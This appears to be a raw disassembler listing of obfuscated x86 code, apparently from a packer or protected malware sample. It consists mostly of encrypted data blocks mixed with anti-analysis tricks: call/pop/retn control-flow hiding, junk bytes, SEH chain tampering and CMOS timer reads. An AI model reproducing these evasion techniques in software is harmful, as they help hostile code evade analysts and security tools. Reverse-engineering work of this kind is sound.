		dd 81042454h, 1B042444h, 42000000h, 0A4D1C352h,	5A0F9EFAh
		dd 0B5FFB454h, 5D48313h, 1819BD8Bh, 95FF05D1h, 5D102FDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h
		dd 180D43FBh, 0CF5A4010h, 1F3D9D8Bh, 0B58B05D1h, 5D48307h
		dd 94822BFh, 106C735h, 53000100h, 2B1DBD8Bh, 965F05D1h
		dd 6C4BB66h, 96FA8B50h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 13C35040h, 0FF0D52D2h, 0D48313B5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0B3E6D27Fh, 0DF96A9B5h, 0BD8B86D2h, 5D11D69h, 68195FFh
		dd 0B58B05D1h, 5D48307h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0BEC35141h, 1791858Bh, 6A05D1h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 81D1F6C3h, 68A0Fh, 8D310000h, 5D131E9h, 0C48689h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0DA97AC3h, 1E419516h, 8BDBB70Fh, 0D1102195h,	3ABF6605h
		dd 4C2833Eh, 1DB9B529h,	508905D1h, 3CF38120h, 8D0F3189h
		dd 0D4963185h, 13E905h,	0D9900000h, 5E70F916h, 2D72C18Eh
		dd 538D7D7Dh, 0B4753F21h, 0B88689E4h, 89000000h, 0D10BADBDh
		dd 60006A05h, 6820Fh, 8D090000h, 5D11CE1h, 13B5FF61h, 8B05D483h
		dd 0F595FFFAh, 0F05D131h, 382h,	0D88B6600h, 896FB750h
		dd 9D8B2434h, 5D12311h,	8313B5FFh, 6A05D4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 72EDFFC3h
		dd 7E25EEC1h, 0FF8CC815h, 0D102D595h, 6800F05h,	0F000000h
		dd 82h,	7DBD8300h, 5D11Fh, 27840Fh, 0E8960000h,	10h, 8EAF87A7h
		dd 33AABAC0h, 7370846Bh, 3996ABA6h, 0CD39BFBFh,	66505F63h
		dd 8996F98Bh, 0D1302185h, 13B5FF05h, 0BF05D483h, 2B4BF228h
		dd 135995FFh, 858905D1h, 5D10BBDh, 8313B5FFh, 6A05D4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0C0D249C3h, 1D3995FFh, 6A05D1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0DC20EEC3h, 1CF71171h
		dd 0D92C8EBBh, 0DBD8373h, 205D107h, 50840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0E63FAC3h, 858BFC3Eh, 5D117A5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0D0C35646h,	37B7D8E0h, 890000C6h
		dd 0D11B919Dh, 85C7F505h, 5D11F55h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5AD813
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD813	proc near		; CODE XREF: ud2_____:005AD80Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5AD813	endp

; ---------------------------------------------------------------------------
		db 0E2h
		dd 6EE9A087h, 0E9FFFFF4h, 9, 0F7F9E7CEh, 0FDBC11F4h, 0C18BFCC8h
		dd 1D45BD2Bh, 858D05D1h, 5D1068Dh, 0FE9h, 0F8E0B000h, 50905FC2h
		dd 2085FD13h, 0C8B8270Dh, 0CBB26090h, 5061ABB1h, 0E860Fh
		dd 5E80000h, 97000000h,	76EA3EC8h, 5FDE8B66h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0ABDA273Fh, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0FE9CAC3h, 0E4000000h, 0D96755DCh
		dd 9743A5E3h, 4B4F6DF5h, 6ABE94h, 3C0A858Dh, 0F2B305D5h
		dd 5005C083h, 6E8h, 78566100h, 0F4054B6h, 587h,	0EA82BF00h
		dd 895F4A53h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0BF3D81C3h, 9060DF3h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 286A69C3h, 85892FDDh, 5D12031h, 25FDB589h, 6A05D1h
		dd 19659D8Bh, 95FF05D1h, 5D11B39h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0C0C35747h,	31C19D8Bh, 8D8D05D1h
		dd 5D481CFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	8AC35747h, 0C2B1D42Bh, 51D78166h, 4BBF6661h, 83D1FF71h
		dd 0D120E9BDh, 850F0105h, 82h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 29C35040h, 7D74C436h, 0FB1A453Eh
		dd 8166026Ah, 50C5CFD7h, 10E8h,	0D5BFE300h, 7A12949h, 0A1FF670Bh
		dd 994D9BFDh, 5B61B350h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 5F0EC350h
		dd 4F4CFE4Ch, 892F9850h, 0D1163195h, 0F595FF05h, 0E905D131h
		dd 6, 892E23E9h, 39E947B5h, 0E800000Eh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D53C14h
		cmc
		jl	loc_5ADA69
		call	sub_5ADA62
		retn
; ---------------------------------------------------------------------------
		dd 5500A9B7h, 636DC1E3h, 530A6F2Bh, 1184EAB4h
; ---------------------------------------------------------------------------
		sub	al, 74h

; =============== S U B	R O U T	I N E =======================================



sub_5ADA62	proc near		; CODE XREF: ud2_____:005ADA4Ap
		mov	ebx, [ebp+5D12205h]
		pop	ebx


loc_5ADA69:				; CODE XREF: ud2_____:005ADA44j
		lea	eax, [ebp+5D472B1h]
		nop
		jmp	loc_5ADA7A
; ---------------------------------------------------------------------------
		db 9Ah,	0E7h, 0C5h
		db 0EBh, 0D4h
; ---------------------------------------------------------------------------


loc_5ADA7A:				; CODE XREF: sub_5ADA62+Ej
		push	eax
		jo	loc_5ADA83
		mov	edi, esi


loc_5ADA83:				; CODE XREF: sub_5ADA62+19j
		nop
		push	0
		push	esi
		call	sub_5ADA8F
		and	[esi-3Dh], bl
sub_5ADA62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5ADA8F	proc near		; CODE XREF: sub_5ADA62+25p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi


loc_5ADA9D:				; CODE XREF: ud2_____:005ADB01j
		push	esi
		retn
sub_5ADA8F	endp

; ---------------------------------------------------------------------------
		stosd
		cmpsd
		jg	loc_5ADAAB
		mov	di, 1682h


loc_5ADAAB:				; CODE XREF: ud2_____:005ADAA1j
		push	large dword ptr	fs:0
		push	0
		push	ecx
		call	sub_5ADABD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADABD	proc near		; CODE XREF: ud2_____:005ADAB5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5ADABD	endp

; ---------------------------------------------------------------------------
		dec	ecx
		mov	ch, 7
		pop	edi
		dec	edi
		sub	eax, 87F9D778h
		sub	[ebp+5D11199h],	ecx
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_5ADAEF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADAEF	proc near		; CODE XREF: ud2_____:005ADAE7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5ADAEF	endp

; ---------------------------------------------------------------------------
		icebp
		clc
		jge	short loc_5ADA9D
		and	edi, 1855D8Eh
		inc	dword ptr [ebp+5D12719h]
		mov	ebx, edx
		jmp	loc_5ADB28
; ---------------------------------------------------------------------------
		dw 0A9C6h
		dd 0C8D92A41h, 702BF620h, 30F956B0h, 3DAF0CB7h
; ---------------------------------------------------------------------------


loc_5ADB28:				; CODE XREF: ud2_____:005ADB11j
		push	0FFFFFFFFh
		mov	ebx, edx
		push	dword ptr [ebp+5D117D5h]
		push	0
		push	esi
		call	sub_5ADB3D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADB3D	proc near		; CODE XREF: ud2_____:005ADB35p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5ADB3D	endp

; ---------------------------------------------------------------------------
		and	dl, [esi]
		pushf
		test	[ebx+4Eh], dl
		call	dword ptr [ebp+5D11279h]
		jmp	loc_5ADC69
; ---------------------------------------------------------------------------
		jmp	loc_5ADB6D
; ---------------------------------------------------------------------------
		db 10h
		dd 519B21D7h, 0FE984902h
		db 0E0h
; ---------------------------------------------------------------------------


loc_5ADB6D:				; CODE XREF: ud2_____:005ADB5Ej
		mov	al, 0
		xor	bh, 23h
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		jo	$+6
		in	al, 71h		; CMOS Memory
		or	[ebp+5D11159h],	ebx
		cmp	al, 61h
		jnb	loc_5ADC69
		sub	edi, 5D832D85h
		movzx	ecx, al
		jnb	loc_5ADB9F
		mov	[ebp+5D12195h],	eax


loc_5ADB9F:				; CODE XREF: ud2_____:005ADB93j
		mov	edx, 6
		jmp	loc_5ADBAE
; ---------------------------------------------------------------------------
		db 0B2h, 6Dh, 16h
		db 35h,	0ECh
; ---------------------------------------------------------------------------


loc_5ADBAE:				; CODE XREF: ud2_____:005ADBA4j
		mov	eax, ecx
		shr	eax, 4
		jmp	loc_5ADBC8
; ---------------------------------------------------------------------------
		dd 0D1744846h, 0A20C5CF7h, 71DF4B38h, 0B5673192h
; ---------------------------------------------------------------------------


loc_5ADBC8:				; CODE XREF: ud2_____:005ADBB3j
		mul	dx
		mov	edi, esi
		sub	ecx, eax
		jmp	loc_5ADBE0
; ---------------------------------------------------------------------------
		xchg	eax, edx
		pop	es
		mov	ds:9C8AA9F1h, al
		mov	eax, 0CF8F0267h


loc_5ADBE0:				; CODE XREF: ud2_____:005ADBCFj
		mov	edx, ecx
		mov	edi, [ebp+5D11BB5h]
		jmp	loc_5ADBF3
; ---------------------------------------------------------------------------
		mov	[ebp+5D10131h],	edi


loc_5ADBF3:				; CODE XREF: ud2_____:005ADBE8j
		mov	eax, [ebp+5D11B19h]
		and	ebx, [ebp+5D11AA1h]
		and	bx, 3CC9h
		add	eax, 7
		add	eax, 0
		jmp	loc_5ADC16
; ---------------------------------------------------------------------------
		pop	ss
		or	eax, 71F845C4h
		push	ebp


loc_5ADC16:				; CODE XREF: ud2_____:005ADC0Aj
		cmp	edx, eax
		jnb	loc_5ADC29
		sbb	ebx, 7B438D0Ch
		jmp	loc_5ADC69
; ---------------------------------------------------------------------------


loc_5ADC29:				; CODE XREF: ud2_____:005ADC18j
		mov	ecx, [ebp+5D10155h]
		mov	edi, 78C180A0h
		mov	ebx, [ebp+5D10EF9h]
		and	ecx, 1
		jz	loc_5ADC69
		jns	loc_5ADC4D
		mov	di, 7AF2h


loc_5ADC4D:				; CODE XREF: ud2_____:005ADC43j
		and	dword ptr [ebp+5D10155h], 0FFFFFFFEh
		mov	[ebp+5D11FC5h],	ecx
		mov	[ebp+5D11B19h],	edx
		push	esi
		pusha
		popa
		pop	ebx
		jmp	$+5


loc_5ADC69:				; CODE XREF: ud2_____:005ADB59j
					; ud2_____:005ADB84j ...
		lea	esi, [ebp+5D4BB95h]
		sbb	ebx, 35691EBDh
		push	0
		push	0
		push	edx
		call	sub_5ADC82
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADC82	proc near		; CODE XREF: ud2_____:005ADC7Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5ADC82	endp

; ---------------------------------------------------------------------------
		dw 0B7F4h
		dd 6820F2Dh, 89000000h,	0D10A759Dh, 0FBB70F05h,	245995FFh
		dd 2EB705D1h, 7ADB9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 57533B3Eh, 0F4EAC41Ch
		dd 0DF8BCB5Ah, 6AFCE183h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0FF02C351h,	0ABD99F92h
		dd 0E1CDBB66h, 57006AFCh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0AD730D34h, 0B8DA8Bh
		dd 66000000h, 5F5BF781h, 0E956D22Bh, 0Ah, 18BA9E7Fh, 8C91A267h
		dd 0AD5FB913h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 1FE0C352h, 278DB531h, 45BF05D1h, 9418725h, 0D10C6DB5h
		dd 880D05h, 0BF660000h,	958B4199h, 5D11021h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 82C35545h, 0DC4D84A6h
		dd 2700CBECh, 1C098D8Bh, 12E905D1h, 0D0000000h,	70EBC1B9h
		dd 7EDD71F0h, 0B1E3C9Dh, 0C8A63E6Ch, 0C28B50E7h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 2498DB81h, 6890Fh
		dd 0BD290000h, 5D1007Dh, 49BD83h, 0F0005D1h, 3684h, 0B800h
		dd 0C3810000h, 7484864h, 4CBD8D8Dh, 6A05D1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0B17B1CC3h
		dd 0E1FFC95Fh, 83DE8B66h, 0D10679BDh, 840F0005h, 4DAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0BFC35141h
		dd 0F90882E8h, 0BD834AE2h, 5D10679h, 0C6840F01h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0EF67C351h, 0BB78CC7h, 1E359D8Bh,	0BD8305D1h
		dd 5D10679h, 5C860F03h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F336C350h
		dd 0E9D33D62h, 0Ah, 6C98F7FDh, 1E5BDF95h, 13E9FBE8h, 1E000000h
		dd 3F3836B5h, 0D63F2CC2h, 0B1553E8Dh, 0BC37B711h, 0F60362Bh
		dd 281h, 66FB8B00h, 6AD98Ch, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 1288EC3h, 0FC67B212h
		dd 8DBD8942h, 8B05D111h, 0D11775BDh, 4E18005h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 44C35141h, 97D381A3h
		dd 0A762122h, 36840FC9h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BECC357h
		dd 0D118A59Dh, 31858B05h, 6A05D117h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 1F3AC356h
		dd 921951E0h, 95BD0950h, 5B05D102h, 0E718533h, 8B6605D1h
		dd 0BB5690FBh, 19FDB4BCh, 5250505Fh, 5250310Fh,	0FF88B66h
		dd 5AFA8B31h, 90585A58h, 3075B589h, 6A05D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 38C35040h, 0DA368798h
		dd 3AEB8114h, 6636B6B5h, 0BBCBD781h, 0B1434F68h, 0E952508Bh
		dd 5, 0D93B6CB6h, 0E9310F1Fh, 10h, 2C0868Ah, 0F9D11EA2h
		dd 0A3E6C2A9h, 77A139F3h, 481585Ah, 6DC0B024h, 0CCC38174h
		dd 5317DEDCh, 0FF5F9CB3h, 0D1111D95h, 9E905h, 192C0000h
		dd 7C97C427h, 811C41A3h, 0FED41F3h, 13858928h, 6A05D483h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0B70C356h, 202FF0AEh, 1F6E997h, 6E90000h
		dd 0C3000000h, 0BB0D6C50h, 0B858B09h, 0E805D483h, 9, 0DD9D39F7h
		dd 0C50400F2h, 0C75BEAh, 18h, 8BFBB70Fh, 0D4830FB5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7EC5204Dh, 805396B5h, 0A9858B2Eh, 8B05D122h,	0D109CD9Dh
		dd 6A068905h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 773AC353h, 1ADD752Eh, 858907A3h
		dd 5D11B41h, 1731858Bh,	816605D1h, 892139DBh, 50F50446h
		dd 830F5250h, 0
		dd 0F98B310Fh, 3489585Ah, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B70FF582h
		dd 1AC781DFh, 0FF7B7B9Dh, 0D4830BB5h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 9F4206BAh, 12E889h, 39D00000h, 81CBFB10h, 3F2FD59Dh
		dd 0AF024773h, 939CB53h, 5FDF8B66h, 4E8h, 1F03FF00h, 0B961BF00h
		dd 60503D46h, 5F616053h, 7D4CB0BBh, 448B6161h, 0BB660424h
		dd 8B1D33h, 0A890Fh, 52500000h,	310F5F53h, 585AFD8Ah, 4244489h
		dd 0BF665250h, 310FE97Bh, 2800Fh, 61600000h, 6A58585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 1D10C353h, 3916199Dh, 148D8D89h, 5E905D1h
		dd 0BA000000h, 56DCCF8Ah, 8313858Dh, 6A05D4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C69BA0C3h
		dd 3C3E42DFh, 50E3E931h, 9E9h, 6CF2B100h, 0ED8028B7h, 489C2DDh
		dd 0BFAFBF24h, 95FF34C7h, 5D1111Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 42C35343h, 5F5A7035h, 18E0F61h
		dd 0F9000000h, 67985C7h, 305D1h, 83FC0000h, 0D48313BDh
		dd 840F0005h, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 1BC35242h, 0E9BA2315h, 5, 0DC28A355h
		dd 6830FF9h, 3000000h, 0D1308DBDh, 0AAE38005h, 49E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0E1D7D06Bh, 657A3ACEh, 81660FABh, 66C2CDF3h,	50057FBBh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 3C1DE9C3h, 7E99Eh, 0AF220000h, 93D9B773h
		dd 0AABF66EAh, 56006A36h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0D4CB8056h, 70BB4E91h
		dd 9D8910A0h, 5D11DD9h,	679BD83h, 0F0305D1h, 47285h, 259D8B00h
		dd 8305D11Ch, 0D48313BDh, 840F0005h, 45Fh, 0C19D8B56h
		dd 5B05D130h, 8313B5FFh, 0BD8B05D4h, 5D10105h, 2FD95FFh
		dd 6A05D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0C35560C3h, 0E4FB4B34h, 13E9542Fh, 78000000h
		dd 0EFC9902Eh, 0A07FB769h, 3B040E49h, 0CD23B671h, 0B58BD442h
		dd 5D48307h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	8DC35242h, 0D9BF0FB9h, 106C7h, 6A0001h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 404076C3h, 816651AAh, 5F7ABAD7h, 0D5F38166h,	348950F6h
		dd 0F9958924h, 0FF05D10Fh, 0D48313B5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 95FF3E6Bh, 5D10681h,	68F0Fh,	9D8B0000h, 5D10AE5h, 8307B58Bh
		dd 6A05D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 6691E0C3h, 858BDA8Bh, 5D11791h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F3C35646h, 0EA7025E0h
		dd 8B6657F5h, 86895BFEh, 0C4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 5BC35343h, 9E88D59h, 74000000h
		dd 0B460853Dh, 0EDF65A21h, 0CFEE381h, 8B5F3D6Eh, 0D1102195h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 1B1CDCDDh, 20B3B05Ch, 60DAB70Fh,	3DEBF0Fh
		dd 0D11D6195h, 0C2836105h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 68C42A9Ah
		dd 0AA2B65Eh, 8D205089h, 0D4963185h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 6830FA9h, 89000000h
		dd 0D125F9B5h, 0B8868905h, 6A000000h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 9B19C355h
		dd 0CE1A5E9h, 6A006AB1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 7AC4C352h, 0B1B589CFh
		dd 0FF05D10Dh, 0D48313B5h, 0DF816605h, 95FF3210h, 5D131F5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 33C35141h
		dd 12AD67D9h, 0B6A0A626h, 2A758D89h, 669605D1h,	6050DA8Bh
		dd 5250FC8Ah, 5E8h, 0AC752700h,	0F5B2F6Bh, 0F525031h, 5A585A31h
		dd 3966158h, 0D108499Dh, 13B5FF05h, 6A05D483h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 593CC350h, 0AD2D2228h, 0D595FF10h, 6A05D102h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 7AA0C357h, 7DBD83B3h, 5D11Fh, 6F840Fh, 0CE90000h, 3C000000h
		dd 0B6DF9A48h, 2B610CB1h, 9650B265h, 238F0Fh, 9E80000h
		dd 6C000000h, 0BDFBA221h, 0A92B75C4h, 0EE8h, 71207900h
		dd 96E8136Dh, 81FDF7C8h, 5FF197DFh, 0E1BB505Bh,	96342117h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E1C35242h
		dd 8BA33EB3h, 6FD9D8Bh,	0B36005D1h, 0F18B66D5h,	13B5FF61h
		dd 6A05D483h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 8720C352h, 83B6114Eh, 135995FFh
		dd 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 8E10E6C3h, 64512523h, 893FD063h, 0D1029D8Dh
		dd 13B5FF05h, 6605D483h, 0FFAA7CBBh, 0D11D3995h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 800FFF2Eh, 6, 2A7D9D29h, 0BD8305D1h,	5D1070Dh, 34840F02h
		dd 0BB000000h, 3C71E61Eh, 17A5858Bh, 13E805D1h,	2B000000h
		dd 44C267F8h, 10007E16h, 98CEEF98h, 0A156284Dh,	9D8B93B6h
		dd 5D113E9h, 5BD035Fh, 0C605D110h, 0C7F90000h, 0D11F5585h
		dd 5, 0B1958900h, 0E905D11Ch, 0FFFFF2FCh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 68C35040h, 8BBCA9EBh
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 9F8E949Bh, 0F9C7D525h, 68D858Dh,	6A05D1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 282C25C3h, 9D89F23Fh, 5D1123Dh, 0E9605090h, 14h, 0ED6E177Dh
		dd 47E12E6Bh, 0B4A933D0h, 0A6017478h, 4C2C0919h, 7AEEBF66h
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 94700C3h,	15BD8B32h, 6605D100h, 0A0BCF81h
		dd 820F006Ah, 6, 22D5BD8Bh, 6A05D1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 57C35545h, 8F0FEB3Fh, 5
		dd 84224EBFh, 49858943h, 8D05D114h, 0D54C2C85h,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0D98A9D64h, 83FE8B66h, 11E805C0h, 5000000h, 0B9769CC8h
		dd 0ADA4327Fh, 1351BA61h, 6A3F50ECh, 870Fh, 505F0000h
		dd 6DF7E3BFh, 24048970h, 0E9006AF9h, 8,	2178F75Dh, 1FD1CC36h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 49D10EC3h, 9D8BCF4Dh, 5D11BA5h, 1B3995FFh
		dd 0BD2B05D1h, 5D11E15h, 81CF8D8Dh, 0D1FF05D4h,	20E9BD83h
		dd 0F0105D1h, 8385h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8B0F868Ah, 5, 8961D1BFh
		dd 29026A2Ch, 0D123D195h, 0B59D2B05h, 5005D132h, 10E9h
		dd 56E5F400h, 3F6118E4h, 5F101DB5h, 0DAA4B1DEh,	2404898Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DEC35545h
		dd 29B74385h, 0DDE124F7h, 0DF8B666Eh, 31F595FFh, 0BD8905D1h
		dd 5D132B5h, 0C80E9h, 0E800h, 815D0000h, 0D54C36EDh, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 996C7C12h, 0B53C22D1h, 0BE9h, 0E091CE00h, 91AC393h
		dd 636BD0AFh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	54C35343h, 0FEDB1059h, 299D89C1h, 8D05D126h, 0D472B185h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 50507438h, 2830F52h, 56000000h, 50310F5Bh
		dd 0F616052h, 5A5B5631h, 89585A58h, 8B662404h, 35FF64F8h
		dd 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5AEB1A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEB1A	proc near		; CODE XREF: ud2_____:005AEB12p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5AEB1A	endp

; ---------------------------------------------------------------------------
		dw 0C174h
; ---------------------------------------------------------------------------
		cwde
		push	es
		xor	dl, bh
		xchg	eax, edx
		mov	edx, cs
		pusha
		add	[ebp+5D106D5h],	ecx
		mov	ebx, 23C945D1h
		popa
		inc	dword ptr [ebp+5D12719h]
		push	0
		push	ecx
		call	sub_5AEB51
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEB51	proc near		; CODE XREF: ud2_____:005AEB49p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5AEB51	endp

; ---------------------------------------------------------------------------
		db 0C8h, 0ABh, 0A0h
		dd 5D8BFEC5h, 0CE9FF6Ah, 85000000h, 0F317A822h,	594C80Dh
					; CODE XREF: ud2_____:loc_5AF6AAj
		dd 0FFD88D20h, 0D13121B5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 7E9DE03Bh
		dd 0D2B2BB66h, 22918509h, 95FF05D1h, 5D11279h, 160E9h
		dd 7D9D3300h, 0F905D106h, 11E800B0h, 0F2000000h, 5F32F99h
		dd 2C61A7D5h, 0A8D5DC64h, 17E81A00h, 0B70E65Bh,	0D112A1BDh
		dd 0E871E405h, 0Eh, 0F3A3E6C2h,	0DF77A139h, 2CA0FC0Dh
